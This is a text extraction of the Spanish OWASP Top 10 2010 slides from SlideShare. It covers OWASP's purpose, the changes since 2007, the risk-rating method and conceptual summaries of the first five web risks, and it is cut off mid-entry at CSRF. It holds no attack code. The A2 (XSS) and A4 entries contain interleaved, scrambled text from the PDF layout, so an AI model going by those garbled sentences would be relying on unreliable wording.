SlideShare a Scribd company logo
1 of 22
Download to read offline
O	
                                Acerca	
  de	
  OWASP	
  
Prefacio	
                                                                                                 Acerca	
  de	
  OWASP	
  

El	
  soMware	
  inseguro	
  esta	
  debilitando	
  actualmente	
  nuestra	
  
infraestructura	
  criDca	
  financiera,	
  de	
  salud,	
  defensa,	
  energía,	
  y	
  otras.	
           El	
  proyecto	
  abierto	
  de	
  seguridad	
  en	
  aplicaciones	
  Web	
  (OWASP	
  por	
  sus	
  
A	
  medida	
  que	
  nuestra	
  infraestructura	
  digital	
  es	
  cada	
  vez	
  más	
                  siglas	
  en	
  inglés)	
  es	
  una	
  comunidad	
  abierta	
  dedicada	
  a	
  habilitar	
  a	
  las	
  
compleja	
  e	
  interconectada,	
  la	
  dificultad	
  de	
  lograr	
  que	
  una	
  aplicación	
          organizaciones	
  para	
  desarrollar,	
  comprar	
  y	
  mantener	
  aplicaciones	
  
sea	
  segura	
  incrementa	
  exponencialmente.	
  Ya	
  no	
  podemos	
  darnos	
  el	
                  confiables.	
  En	
  OWASP	
  encontrara	
  recursos	
  abiertos	
  y	
  gratuitos…	
  
lujo	
  de	
  tolerar	
  los	
  problemas	
  de	
  seguridad	
  relaDvamente	
  simples,	
  
como	
  los	
  presentados	
  en	
  el	
  OWASP	
  Top	
  10.	
                                                •  Libros	
  y	
  estándares	
  sobre	
  seguridad	
  en	
  aplicaciones	
  
                                                                                                               •  Libros	
  completos	
  sobre	
  testeo	
  de	
  seguridad	
  en	
  aplicaciones,	
  
El	
  objeDvo	
  del	
  proyecto	
  Top	
  10	
  es	
  crear	
  conciencia	
  sobre	
  la	
                       desarrollo	
  seguro	
  de	
  código,	
  y	
  revisión	
  de	
  seguridad	
  del	
  código	
  
seguridad	
  en	
  aplicaciones	
  mediante	
  la	
  idenDficación	
  de	
  algunos	
  de	
                     •  Controles	
  de	
  seguridad	
  estándares	
  y	
  librerías	
  
los	
  riesgos	
  más	
  críDcos	
  que	
  enfrentan	
  las	
  organizaciones.	
  El	
                         •  Capítulos	
  Locales	
  en	
  disDntos	
  países	
  
proyecto	
  Top	
  10	
  es	
  referenciado	
  por	
  numerosos	
  estándares,	
  libros,	
  y	
               •  InvesDgación	
  de	
  avanzada	
  
organizaciones,	
  incluyendo	
  MITRE,	
  PCI	
  DSS,	
  DISA,	
  FTC,	
  y	
                                 •  Conferencias	
  alrededor	
  del	
  mundo	
  
muchos	
  más.	
  Esta	
  versión	
  del	
  OWASP	
  Top	
  10	
  marca	
  el	
  octavo	
  año	
               •  Listas	
  de	
  Correo	
  
del	
  proyecto	
  creando	
  conciencia	
  sobre	
  la	
  importancia	
  de	
  los	
  riesgos	
               •  Y	
  mucho	
  más	
  en	
  www.owasp.org	
  	
  
de	
  seguridad	
  en	
  aplicaciones.	
  El	
  OWASP	
  Top	
  10	
  fue	
  lanzado	
  por	
  
primera	
  vez	
  en	
  2003,	
  se	
  hicieron	
  actualizaciones	
  menores	
  en	
  2004	
  y	
         Todas	
  la	
  herramientas,	
  documentos,	
  foros	
  y	
  capítulos	
  de	
  OWASP	
  son	
  
2007,	
  y	
  esta	
  es	
  la	
  versión	
  de	
  2010.	
                                                 gratuitos	
  y	
  abiertos	
  a	
  cualquiera	
  interesado	
  en	
  mejorar	
  la	
  seguridad	
  
                                                                                                           en	
  aplicaciones.	
  Abogamos	
  por	
  resolver	
  la	
  seguridad	
  en	
  aplicaciones	
  
Lo	
  invitamos	
  a	
  que	
  uDlice	
  el	
  Top	
  10	
  para	
  que	
  su	
  organización	
  se	
      como	
  un	
  problema	
  de	
  gente,	
  procesos	
  y	
  tecnología	
  porque	
  las	
  
inicie	
  en	
  la	
  temáDca	
  sobre	
  seguridad	
  en	
  aplicaciones.	
  Los	
                        soluciones	
  mas	
  efecDvas	
  incluyen	
  mejoras	
  en	
  todas	
  estas	
  áreas.	
  	
  
desarrolladores	
  pueden	
  aprender	
  de	
  los	
  errores	
  de	
  otras	
  
organizaciones.	
  Los	
  ejecuDvos	
  deben	
  comenzar	
  a	
  pensar	
  como	
                          OWASP	
  es	
  un	
  nuevo	
  Dpo	
  de	
  organización.	
  Nuestra	
  libertad	
  de	
  
gesDonar	
  el	
  riesgo	
  que	
  las	
  aplicaciones	
  de	
  soMware	
  crean	
  en	
  sus	
            presiones	
  comerciales	
  nos	
  permite	
  proveer	
  información	
  sobre	
  
empresas.	
  	
                                                                                            seguridad	
  en	
  aplicaciones	
  sin	
  sesgos,	
  prácDca	
  y	
  efecDva.	
  

Pero	
  el	
  Top	
  10	
  no	
  es	
  un	
  programa	
  de	
  seguridad	
  en	
  aplicaciones.	
          OWASP	
  no	
  está	
  afiliada	
  a	
  ninguna	
  compañía	
  de	
  tecnología,	
  aunque	
  
Mirando	
  a	
  futuro,	
  OWASP	
  recomienda	
  que	
  las	
  organizaciones	
                           soportamos	
  el	
  uso	
  informado	
  de	
  tecnologías	
  de	
  seguridad	
  
establezcan	
  una	
  base	
  sólida	
  de	
  formación,	
  estándares	
  y	
                              comerciales.	
  Parecido	
  a	
  muchos	
  proyectos	
  de	
  soMware	
  de	
  código	
  
herramientas	
  que	
  hagan	
  posible	
  la	
  codificación	
  segura.	
  Por	
  encima	
                 abierto,	
  OWASP	
  produce	
  muchos	
  materiales	
  en	
  una	
  manera	
  abierta	
  y	
  
de	
  esa	
  base,	
  las	
  organizaciones	
  deben	
  integrar	
  la	
  seguridad	
  en	
  su	
          colaboraDva.	
  
desarrollo,	
  verificación	
  y	
  procesos	
  de	
  mantenimiento.	
  La	
  gerencia	
  
puede	
  uDlizar	
  los	
  datos	
  generados	
  por	
  estas	
  acDvidades	
  para	
                      La	
  Fundación	
  OWASP	
  es	
  una	
  enDdad	
  sin	
  ánimo	
  de	
  lucro	
  para	
  asegurar	
  
gesDonar	
  los	
  costos	
  y	
  riesgos	
  asociados	
  a	
  la	
  seguridad	
  en	
                     el	
  éxito	
  a	
  largo	
  plazo	
  del	
  proyecto.	
  Casi	
  todos	
  los	
  miembros	
  de	
  OWASP	
  
aplicaciones.	
                                                                                            son	
  voluntarios,	
  incluyendo	
  el	
  Directorio	
  OWASP,	
  los	
  Comités	
  
                                                                                                           Globales,	
  Lideres	
  de	
  Capítulos,	
  Lideres	
  de	
  Proyectos,	
  y	
  miembros	
  de	
  
Esperamos	
  que	
  el	
  Top	
  10	
  le	
  resulte	
  úDl	
  en	
  sus	
  esfuerzos	
  sobre	
           proyectos.	
  Nosotros	
  apoyamos	
  la	
  invesDgación	
  innovadora	
  sobre	
  
seguridad	
  en	
  aplicaciones.	
  Por	
  favor	
  no	
  dude	
  en	
  contactarse	
  con	
               seguridad	
  a	
  través	
  de	
  becas	
  e	
  infraestructura.	
  
OWASP	
  con	
  sus	
  preguntas,	
  comentarios,	
  e	
  ideas	
  ya	
  sea	
  
públicamente	
  a	
  OWASP-­‐TopTen@lists.owasp.org	
  o	
  en	
  privado	
  a	
                           Únete	
  a	
  nosotros!	
  
dave.wichers@owasp.org.	
  	
  

hFp://www.owasp.org/index.php/Top_10	
  




Derechos	
  de	
  Autor	
  y	
  Licencia	
  
                                            Copyright	
  ©	
  2003	
  –	
  2010	
  Fundación	
  OWASP	
  

                                            Este	
  documento	
  es	
  publicado	
  bajo	
  la	
  licencia	
  CreaDve	
  Commons	
  AFribuDon	
  ShareAlike	
  3.0.	
  Para	
  
                                            cualquier	
  reuDlización	
  o	
  distribución,	
  usted	
  debe	
  dejar	
  en	
  claro	
  a	
  otros	
  los	
  términos	
  de	
  la	
  licencia	
  sobre	
  
                                            este	
  trabajo.	
  
I	
                               Introducción	
  
Bienvenido	
  
Bienvenido	
  al	
  OWASP	
  Top	
  10	
  2010!	
  Esta	
  importante	
  actualización	
  representa	
  una	
  lista	
  concisa	
  y	
  enfocada	
  sobre	
  los	
  Diez	
  Riesgos	
  Más	
  CríBcos	
  sobre	
  Seguridad	
  en	
  
Aplicaciones.	
  El	
  OWASP	
  Top	
  10	
  ha	
  sido	
  siempre	
  sobre	
  riesgos,	
  pero	
  esta	
  actualización	
  lo	
  evidencia	
  de	
  mayor	
  manera	
  respecto	
  a	
  ediciones	
  anteriores.	
  También	
  
provee	
  información	
  adicional	
  sobre	
  como	
  evaluar	
  estos	
  riesgos	
  en	
  sus	
  aplicaciones.	
  

Por	
  cada	
  ítem	
  en	
  el	
  Top	
  10,	
  esta	
  edición	
  describe	
  la	
  probabilidad	
  general	
  y	
  los	
  factores	
  de	
  consecuencia	
  que	
  se	
  uDlizan	
  para	
  clasificar	
  la	
  gravedad	
  kpica	
  del	
  riesgo.	
  
Luego	
  presenta	
  orientación	
  sobre	
  como	
  verificar	
  si	
  usted	
  posee	
  problemas	
  en	
  esta	
  área,	
  como	
  evitarlos,	
  algunos	
  ejemplos	
  y	
  enlaces	
  a	
  mayor	
  información.	
  

El	
  objeDvo	
  principal	
  del	
  Top	
  10	
  es	
  educar	
  desarrolladores,	
  diseñadores,	
  arquitectos,	
  gerentes,	
  y	
  organizaciones	
  sobre	
  las	
  consecuencias	
  de	
  las	
  vulnerabilidades	
  de	
  
seguridad	
  más	
  importantes	
  en	
  aplicaciones	
  web.	
  El	
  Top	
  10	
  provee	
  técnicas	
  básicas	
  sobre	
  como	
  protegerse	
  en	
  estas	
  áreas	
  de	
  alto	
  riesgo	
  –	
  y	
  también	
  provee	
  
orientación	
  sobre	
  los	
  pasos	
  a	
  seguir.	
  




Advertencia	
                                                                                                                   Agradecimientos	
  
No	
  se	
  detenga	
  en	
  el	
  Top	
  10.	
  Existen	
  cientos	
  de	
  problemas	
  que	
  pueden	
                       Gracias	
  a	
  Aspect	
  Security	
  por	
  iniciar,	
  liderar,	
  y	
  actualizar	
  el	
  OWASP	
  Top	
  10	
  
afectar	
  la	
  seguridad	
  general	
  de	
  una	
  aplicación	
  web	
  tal	
  como	
  se	
  ha	
  discuDdo	
                desde	
  su	
  inicio	
  en	
  2003,	
  y	
  a	
  sus	
  principales	
  autores:	
  Jeff	
  Williams	
  y	
  Dave	
  
en	
  la	
  Guia	
  de	
  Desarrollo	
  OWASP.	
  Este	
  documento	
  es	
  de	
  lectura	
  esencial	
  para	
                Wichers.	
  
cualquiera	
  desarrollando	
  aplicaciones	
  web	
  hoy	
  en	
  día.	
  Una	
  efecDva	
  
orientación	
  en	
  como	
  encontrar	
  vulnerabilidades	
  en	
  aplicaciones	
  web	
  es	
  
suministrada	
  en	
  la	
  Guia	
  de	
  Testeo	
  OWASP	
  y	
  la
Guia	
  de	
  Revision	
  de	
  Codigo	
  OWASP,	
  las	
  cuales	
  han	
  sido	
  significaDvamente	
  
actualizadas	
  desde	
  la	
  ulDma	
  edición	
  del	
  Top	
  10.	
  

Cambio	
  constante.	
  Este	
  Top	
  10	
  conDnuara	
  cambiando.	
  Incluso	
  sin	
  cambiar	
                             Queremos	
  agradecer	
  a	
  las	
  siguientes	
  organizaciones	
  que	
  contribuyeron	
  con	
  
una	
  línea	
  de	
  código	
  en	
  su	
  aplicación,	
  la	
  misma	
  puede	
  ser	
  vulnerable	
  a	
  algo	
             datos	
  sobre	
  predominancia	
  de	
  vulnerabilidades	
  para	
  actualizar	
  el	
  Top	
  10	
  2010:	
  
que	
  nadie	
  haya	
  pensado	
  anteriormente.	
  Por	
  favor	
  revise	
  los	
  consejos	
  
detallados	
  al	
  final	
  del	
  Top	
  10	
  “Próximos	
  pasos	
  para	
  Desarrolladores,	
                                            Aspect	
  Security	
  	
  
Verificadores	
  y	
  Organizaciones”	
  para	
  mayor	
  información.	
                                                                     MITRE	
  –	
  CVE	
  
Piense	
  posiBvamente.	
  Cuando	
  se	
  encuentre	
  preparado	
  para	
  dejar	
  de	
  buscar	
                                        SoMtek	
  
vulnerabilidades	
  y	
  focalizarse	
  en	
  establecer	
  controles	
  seguros	
  de	
                                                    WhiteHat	
  Security	
  Inc.	
  –	
  StaDsDcs	
  
aplicaciones,	
  OWASP	
  ha	
  producido	
  el	
  
ApplicaDon	
  Security	
  VerificaDon	
  Standard	
  (ASVS)	
  como	
  una	
  guía	
  para	
                                     También	
  queremos	
  agradecer	
  a	
  aquellos	
  que	
  han	
  contribuido	
  
organizaciones	
  y	
  revisores	
  de	
  aplicaciones	
  que	
  detalla	
  los	
  controles	
  de	
                            significaDvamente	
  Dempo	
  o	
  contenido	
  revisando	
  esta	
  actualización	
  del	
  Top	
  10:	
  
seguridad	
  a	
  verificar	
  en	
  una	
  aplicación.	
  
                                                                                                                                            Mike	
  Boberski	
  (Booz	
  Allen	
  Hamilton)	
  
UBlice	
  herramientas	
  inteligentemente.	
  Las	
  vulnerabilidades	
  de	
  seguridad	
                                                 Juan	
  Carlos	
  Calderon	
  (SoMtek)	
  
pueden	
  ser	
  bastante	
  complejas	
  y	
  encontrarse	
  ocultas	
  en	
  montañas	
  de	
                                             Michael	
  Coates	
  (Aspect	
  Security)	
  
código.	
  En	
  virtualmente	
  todos	
  los	
  casos,	
  el	
  enfoque	
  mas	
  eficiente	
  y	
                                          Jeremiah	
  Grossman	
  (WhiteHat	
  Security	
  Inc.)	
  
económico	
  para	
  encontrar	
  y	
  eliminar	
  estas	
  vulnerabilidades	
  es	
  asignar	
                                             Jim	
  Manico	
  (por	
  todos	
  los	
  podcasts	
  sobre	
  el	
  Top	
  10)	
  
expertos	
  armados	
  de	
  buenas	
  herramientas	
  para	
  realizar	
  esta	
  tarea.	
                                                 Paul	
  Petefish	
  (SoluDonary	
  Inc.)	
  
                                                                                                                                            Eric	
  Sheridan	
  (Aspect	
  Security)	
  
SDLC	
  Seguro.	
  Aplicaciones	
  Web	
  seguras	
  son	
  solo	
  posibles	
  cuando	
  se	
  uDliza	
                                    Neil	
  Smithline	
  (OneStopAppSecurity.com)	
  
un	
  SDLC	
  Seguro.	
  Para	
  orientación	
  sobre	
  como	
  implementar	
  un	
  SDLC	
  Seguro,	
                                     Andrew	
  van	
  der	
  Stock	
  
leer	
  el	
  Open	
  SoMware	
  Assurance	
  Maturity	
  Model	
  (SAMM),	
  el	
  cual	
  es	
  una	
                                     Colin	
  Watson	
  (Watson	
  Hall,	
  Ltd.)	
  
actualización	
  significaDva	
  al	
  OWASP	
  CLASP	
  Project.	
                                                                          OWASP	
  Denmark	
  Chapter	
  (Liderado	
  por	
  Ulf	
  Munkedal)	
  
                                                                                                                                            OWASP	
  Sweden	
  Chapter	
  (Liderado	
  por	
  John	
  Wilander)	
  




Sobre	
  esta	
  versión	
  en	
  Español	
  
Esta	
  versión	
  en	
  español	
  del	
  OWASP	
  Top	
  10	
  ha	
  sido	
  posible	
  gracias	
  a	
  la	
  colaboración	
  totalmente	
  voluntaria	
  de:	
  
• 	
  Fabio	
  Cerullo	
  –	
  Coordinador	
  del	
  Proyecto	
  
• 	
  Juan	
  Calderon	
  –	
  Revisor	
  de	
  la	
  Traducción	
  
• Jose	
  Antonio	
  Guasch	
  -­‐	
  Traductor	
  
• 	
  Paulo	
  Cesar	
  Coronado	
  -­‐	
  Traductor	
  
• 	
  Rodrigo	
  Marcos	
  	
  -­‐	
  Traductor	
  
• 	
  Vicente	
  Aguilera	
  -­‐	
  Traductor	
  
• 	
  Daniel	
  Cabezas	
  Molina	
  -­‐	
  Traductor	
  
• 	
  Edgar	
  Sanchez	
  -­‐	
  Traductor	
  
RN	
                                  Notas	
  sobre	
  esta	
  Versión	
  2010	
  

¿Que	
  ha	
  cambiado	
  del	
  2007	
  al	
  2010?	
  

El	
  escenario	
  de	
  amenazas	
  para	
  aplicaciones	
  de	
  Internet	
  cambia	
  constantemente.	
  Los	
  factores	
  clave	
  en	
  esta	
  evolución	
  son	
  los	
  
avances	
  hechos	
  por	
  los	
  atacantes,	
  la	
  liberación	
  de	
  nueva	
  tecnología,	
  así	
  como	
  la	
  instalación	
  de	
  sistemas	
  cada	
  vez	
  más	
  complejos.	
  
Para	
  mantener	
  el	
  ritmo,	
  actualizamos	
  periódicamente	
  el	
  OWASP	
  Top	
  10.	
  En	
  esta	
  versión	
  2010,	
  hemos	
  hecho	
  tres	
  cambios	
  
significaDvos:	
  
Aclaramos	
  que	
  el	
  Top	
  10	
  es	
  acerca	
  del	
  Top	
  10	
  de	
  riesgos,	
  no	
  el	
  Top	
  10	
  de	
  las	
  debilidades	
  más	
  comunes.	
  Vea	
  los	
  detalles	
  en	
  la	
  
página	
  “Riesgos	
  de	
  seguridad	
  en	
  aplicaciones”	
  más	
  abajo.	
  
Cambiamos	
  nuestra	
  metodología	
  de	
  clasificación	
  para	
  esDmar	
  el	
  riesgo,	
  en	
  lugar	
  de	
  basarnos	
  solamente	
  en	
  la	
  frecuencia	
  de	
  la	
  
debilidad	
  asociada.	
  Esto	
  ha	
  afectado	
  el	
  orden	
  del	
  Top	
  10,	
  como	
  puede	
  ver	
  en	
  la	
  tabla	
  más	
  abajo.	
  
Reemplazamos	
  dos	
  elementos	
  de	
  la	
  lista	
  con	
  dos	
  nuevos	
  elementos:	
  
            • 	
  AGREGADO:	
  A6	
  –	
  Defectuosa	
  configuración	
  de	
  seguridad.	
  Este	
  problema	
  fue	
  A10	
  en	
  el	
  Top	
  10	
  del	
  2004:	
  Administración	
  
            insegura	
  de	
  configuración,	
  pero	
  fue	
  abandonado	
  en	
  el	
  2007	
  porque	
  no	
  fue	
  considerado	
  un	
  problema	
  de	
  soMware.	
  Sin	
  
            embargo,	
  desde	
  una	
  perspecDva	
  de	
  riesgo	
  organizacional	
  y	
  prevalencia,	
  claramente	
  merece	
  una	
  re-­‐inclusión	
  en	
  el	
  Top	
  
            10;	
  así	
  que	
  ahora	
  está	
  de	
  vuelta.	
  
            • 	
  AGREGADO:	
  A10	
  –	
  Redirecciones	
  y	
  reenvíos	
  no	
  validados.	
  Este	
  problema	
  está	
  haciendo	
  su	
  debut	
  en	
  el	
  Top	
  10.	
  La	
  
            evidencia	
  muestra	
  que	
  este	
  problema	
  relaDvamente	
  desconocido	
  está	
  difundido	
  y	
  puede	
  causar	
  daño	
  significaDvo.	
  
            • 	
  REMOVIDO:	
  A3	
  –	
  Ejecución	
  maliciosa	
  de	
  ficheros.	
  Este	
  es	
  aún	
  un	
  problema	
  significaDvo	
  en	
  muchos	
  ambientes	
  
            diferentes.	
  Sin	
  embargo,	
  su	
  prevalencia	
  en	
  el	
  2007	
  fue	
  inflada	
  por	
  el	
  gran	
  número	
  de	
  aplicaciones	
  PHP	
  que	
  tenían	
  este	
  
            problema.	
  PHP	
  ahora	
  conDene	
  una	
  configuración	
  más	
  segura	
  por	
  omisión,	
  lo	
  que	
  ha	
  disminuido	
  la	
  prevalencia	
  de	
  este	
  
            problema.	
  
            • 	
  REMOVIDO:	
  A6	
  –	
  Filtrado	
  de	
  información	
  y	
  manejo	
  inapropiado	
  de	
  errores.	
  Este	
  problema	
  es	
  extremadamente	
  
            prevalente,	
  pero	
  el	
  impacto	
  de	
  mostrar	
  la	
  pila	
  de	
  llamadas	
  y	
  la	
  información	
  de	
  mensajes	
  de	
  error	
  kpicamente	
  es	
  mínimo.	
  
            Con	
  la	
  adición	
  de	
  la	
  Mala	
  configuración	
  de	
  seguridad	
  este	
  año,	
  la	
  configuración	
  apropiada	
  del	
  manejo	
  de	
  errores	
  
            consDtuye	
  una	
  buena	
  parte	
  de	
  configurar	
  de	
  manera	
  segura	
  sus	
  aplicaciones	
  y	
  servidores.	
  


           OWASP	
  Top	
  10	
  –	
  2007	
  (Previo)	
                                                          OWASP	
  Top	
  10	
  –	
  2010	
  (Nuevo)	
  
A2	
  –	
  Fallas	
  de	
  inyección	
                                                                 A1	
  –	
  Inyección	
  

A1	
  –	
  Secuencia	
  de	
  Comandos	
  en	
  SiBos	
  Cruzados	
  (XSS)	
                           A2	
  –	
  Secuencia	
  de	
  Comandos	
  en	
  SiBos	
  Cruzados	
  (XSS)	
  

A7	
  –	
  Pérdida	
  de	
  AutenBcación	
  y	
  GesBón	
  de	
  Sesiones	
                            A3	
  –	
  Pérdida	
  de	
  AutenBcación	
  y	
  GesBón	
  de	
  Sesiones	
  

A4	
  –	
  Referencia	
  Directa	
  Insegura	
  a	
  Objetos	
                                         A4	
  –	
  Referencia	
  Directa	
  Insegura	
  a	
  Objetos	
  

A5	
  –	
  Falsificación	
  de	
  PeBciones	
  en	
  SiBos	
  Cruzados	
  (CSRF)	
                      A5	
  –	
  Falsificación	
  de	
  PeBciones	
  en	
  SiBos	
  Cruzados	
  (CSRF)	
  

<T10	
  2004	
  A10	
  –	
  Administración	
  Insegura	
  de	
  Configuración>	
                        A6	
  –	
  Defectuosa	
  Configuración	
  de	
  Seguridad	
  (NUEVO)	
  

A8	
  –	
  Almacenamiento	
  Criptográfico	
  Inseguro	
                                                A7	
  –	
  Almacenamiento	
  Criptográfico	
  Inseguro	
  

A10	
  –	
  Falla	
  de	
  Restricción	
  de	
  Acceso	
  a	
  URL	
                                   A8	
  –	
  Falla	
  de	
  Restricción	
  de	
  Acceso	
  a	
  URL	
  

A9	
  –	
  Comunicaciones	
  Inseguras	
                                                               A9	
  –	
  Protección	
  Insuficiente	
  en	
  la	
  Capa	
  de	
  Transporte	
  

<no	
  disponible	
  en	
  T10	
  2007>	
                                                              A10	
  –	
  Redirecciones	
  y	
  reenvíos	
  no	
  validados	
  (NUEVO)	
  

A3	
  –	
  Ejecución	
  Maliciosa	
  de	
  Ficheros	
                                                  <removido	
  del	
  T10	
  2010>	
  

A6	
  –	
  Filtrado	
  de	
  Información	
  y	
  Manejo	
  Inapropiado	
  de	
  
                                                                                                       <removido	
  del	
  T10	
  2010>	
  
Errores	
  
Riesgo	
   Riesgos	
  de	
  Seguridad	
  en	
  Aplicaciones	
  

¿Qué	
  son	
  los	
  riesgos	
  de	
  seguridad	
  en	
  aplicaciones?	
  
Los	
  atacantes	
  pueden	
  potencialmente	
  usar	
  muchas	
  diferentes	
  rutas	
  a	
  través	
  de	
  su	
  aplicación	
  para	
  causar	
  daño	
  en	
  su	
  negocio	
  u	
  
organización.	
  Cada	
  una	
  de	
  estas	
  rutas	
  representa	
  un	
  riesgo	
  que	
  puede,	
  o	
  no,	
  ser	
  lo	
  suficientemente	
  serio	
  como	
  para	
  merecer	
  
atención.	
  
      Agentes	
                           Vectores	
                                Debilidades	
                     Controles	
               Impactos	
                              Impactos	
  
    De	
  Amenaza	
                      De	
  Ataque	
                            De	
  Seguridad	
                 De	
  Seguridad	
           Tecnicos	
                            al	
  Negocio	
  


                                            Ataque	
                                    	
  	
  	
  Debilidad	
           Control	
                                                       Impacto	
  

                                                                                                                                                   Recurso	
  
                                            Ataque	
                                     Debilidad	
                      Control	
                                                       Impacto	
  
                                                                                                                                                   Función	
  
                                            Ataque	
                                     Debilidad	
                                                                                      Impacto	
  
                                                                                                                                                   Recurso	
  

                                                                                         Debilidad	
                      Control	
  


A	
  veces,	
  estas	
  rutas	
  son	
  triviales	
  de	
  encontrar	
  y	
  explotar	
  y	
  a	
  veces	
  son	
  extremadamente	
  diwciles.	
  De	
  manera	
  similar,	
  el	
  daño	
  
causado	
  puede	
  ir	
  de	
  ninguno	
  hasta	
  incluso	
  sacarlo	
  del	
  negocio.	
  Para	
  determinar	
  el	
  riesgo	
  para	
  su	
  organización,	
  puede	
  evaluar	
  la	
  
probabilidad	
  asociada	
  con	
  cada	
  agente	
  de	
  amenaza,	
  vector	
  de	
  ataque	
  y	
  debilidad	
  de	
  seguridad	
  y	
  combinarla	
  con	
  una	
  esDmación	
  
del	
  impacto	
  técnico	
  y	
  de	
  negocios	
  en	
  su	
  organización.	
  Juntos,	
  estos	
  factores	
  determinan	
  el	
  riesgo	
  total.	
  




¿Cuál	
  es	
  Mi	
  riesgo?	
                                                                                                                 Referencias	
  
Esta	
  actualización	
  del	
  OWASP	
  Top	
  10	
  se	
  enfoca	
  en	
  la	
  idenDficación	
  de	
  los	
  riesgos	
  
más	
  serios	
  para	
  un	
  amplio	
  espectro	
  de	
  organizaciones.	
  Para	
  cada	
  uno	
  de	
  estos	
  
riesgos,	
  proveemos	
  información	
  genérica	
  acerca	
  de	
  la	
  probabilidad	
  y	
  el	
  impacto	
                                 OWASP	
  
técnico	
  usando	
  el	
  siguiente	
  esquema	
  simple	
  de	
  calificación,	
  que	
  está	
  basado	
  en	
  la	
                         • 	
  Metodología	
  de	
  Evaluación	
  de	
  Riesgos	
  OWASP	
  
Metodología	
  de	
  Evaluación	
  de	
  Riesgos	
  OWASP.	
  
                                                                                                                                               • ArDculo	
  sobre	
  Modelado	
  de	
  Amenazas/Riesgos	
  
  Agentes	
             Vectores	
           Prevalencia	
  
                                                                     Detectabilidad	
                     Impacto	
         Impacto	
  
    De	
                   De	
                  de	
                                                                                          Externas	
  
                                                                     de	
  Debilidades	
                   Técnico	
       Al	
  Negocio	
  
  Amenaza	
              Ataque	
            Debilidades	
  
                                                                                                                                               • 	
  FAIR	
  InformaDon	
  Risk	
  Framework	
  	
  
                           Fácil	
             Difundido	
                  Fácil	
                         Severo	
  
                                                                                                                                               • 	
  MicrosoM	
  Threat	
  Modeling	
  (STRIDE	
  and	
  DREAD)	
  

       ?	
                Medio	
                Común	
                   Medio	
                      Moderado	
               ?	
  
                           Diwcil	
          Poco	
  Común	
               Diwcil	
                         Menor	
  
Sin	
  embargo,	
  solo	
  usted	
  sabe	
  los	
  detalles	
  específicos	
  de	
  su	
  ambiente	
  y	
  su	
  negocio.	
  
Para	
  una	
  aplicación	
  cualquiera,	
  puede	
  no	
  haber	
  un	
  agente	
  de	
  amenaza	
  que	
  pueda	
  
ejecutar	
  el	
  ataque	
  relevante,	
  o	
  el	
  impacto	
  técnico	
  puede	
  no	
  hacer	
  diferencia	
  
ninguna.	
  Por	
  tanto,	
  usted	
  debería	
  evaluar	
  cada	
  riesgo,	
  enfocándose	
  en	
  los	
  agentes	
  
de	
  amenaza,	
  los	
  controles	
  de	
  seguridad	
  e	
  impactos	
  de	
  negocio	
  en	
  su	
  empresa.	
  
Aunque	
  las	
  versiones	
  previas	
  del	
  OWASP	
  Top	
  10	
  se	
  enfocaron	
  en	
  la	
  idenDficación	
  de	
  
las	
  “vulnerabilidades”	
  más	
  comunes,	
  también	
  fueron	
  diseñadas	
  alrededor	
  de	
  los	
  
riesgos.	
  Los	
  nombres	
  de	
  los	
  riesgos	
  en	
  la	
  Top	
  10	
  surgen	
  del	
  Dpo	
  de	
  ataque,	
  el	
  Dpo	
  
de	
  debilidad	
  o	
  el	
  Dpo	
  de	
  impacto	
  que	
  pueden	
  causar.	
  Elegimos	
  el	
  nombre	
  que	
  es	
  
mejor	
  conocido	
  y	
  que	
  logrará	
  el	
  más	
  alto	
  nivel	
  de	
  reconocimiento.	
  
OWASP	
  Top	
  10	
  2010	
  –	
  Riesgos	
  de	
  
T10	
                               Seguridad	
  en	
  Aplicaciones	
  Web	
  
                                     • Las	
  fallas	
  de	
  inyección,	
  tales	
  como	
  SQL,	
  OS,	
  y	
  LDAP,	
  ocurren	
  cuando	
  datos	
  no	
  confiables	
  son	
  
                                       enviados	
  a	
  un	
  interprete	
  como	
  parte	
  de	
  un	
  comando	
  o	
  consulta.	
  Los	
  datos	
  hosDles	
  del	
  atacante	
  
    A1	
  –	
  Inyección	
             pueden	
  engañar	
  al	
  interprete	
  en	
  ejecutar	
  comandos	
  no	
  intencionados	
  o	
  acceder	
  datos	
  no	
  
                                       autorizados.	
  


 A2	
  –	
  Secuencia	
  de	
   • Las	
  fallas	
  XSS	
  ocurren	
  cada	
  vez	
  que	
  una	
  aplicación	
  toma	
  datos	
  no	
  confiables	
  y	
  los	
  envía	
  al	
  
comandos	
  en	
  siBos	
   navegador	
  web	
  sin	
  una	
  ven	
  el	
  navegador	
  de	
  la	
  vicDma	
  los	
  cuales	
  permite	
  a	
  ecuestrar	
  las	
  sejecutar	
  de	
  
                                  secuencia	
  de	
  comandos	
  
                                                                       alidación	
  y	
  codificación	
  apropiada.	
  XSS	
  
                                                                                                                                      pueden	
  s
                                                                                                                                                  los	
  atacantes	
  
                                                                                                                                                                          esiones	
  
  cruzados	
  (XSS)	
             usuario,	
  destruir	
  siDos	
  web,	
  o	
  dirigir	
  al	
  usuario	
  hacia	
  un	
  siDo	
  malicioso.	
  

   A3	
  –	
  Pérdida	
  de	
        • Las	
  funciones	
  de	
  la	
  aplicación	
  relacionadas	
  a	
  autenDcación	
  y	
  gesDón	
  de	
  sesiones	
  son	
  
   AutenBcación	
  y	
                 frecuentemente	
  implementadas	
  incorrectamente,	
  permiDendo	
  a	
  los	
  atacantes	
  comprometer	
  
     GesBón	
  de	
                    contraseñas,	
  llaves,	
  token	
  de	
  sesiones,	
  o	
  explotar	
  otras	
  fallas	
  de	
  implementación	
  para	
  asumir	
  la	
  
         Sesiones	
                    idenDdad	
  de	
  otros	
  usuarios.	
  


 A4	
  –	
  Referencia	
   • Una	
  referencia	
  directa	
  a	
  objetos	
  ocurre	
  cuando	
  un	
  desarrollador	
  expone	
  una	
  referencia	
  a	
  un	
  
Directa	
  Insegura	
  a	
   objeto	
  de	
  ie	
  control	
  de	
  acceso	
  u	
  otra	
  protección,	
  lchero,	
  directorio,	
  o	
  base	
  de	
  datos.	
  Sin	
  run	
  
                             chequeo	
  d
                                              mplementación	
  interno,	
  tal	
  como	
  un	
  fi
                                                                                                           os	
  atacantes	
  pueden	
  manipular	
  estas	
   eferencias	
  
        Objetos	
            para	
  acceder	
  datos	
  no	
  autorizados.	
  

 A5	
  –	
  Falsificación	
           • Un	
  ataque	
  CSRF	
  obliga	
  al	
  navegador	
  de	
  una	
  vicDma	
  autenDcada	
  a	
  enviar	
  una	
  peDción	
  HTTP	
  
 de	
  PeBciones	
  en	
               falsificado,	
  incluyendo	
  la	
  sesión	
  del	
  usuario	
  y	
  cualquier	
  otra	
  información	
  de	
  autenDcación	
  incluida	
  
                                       automáDcamente,	
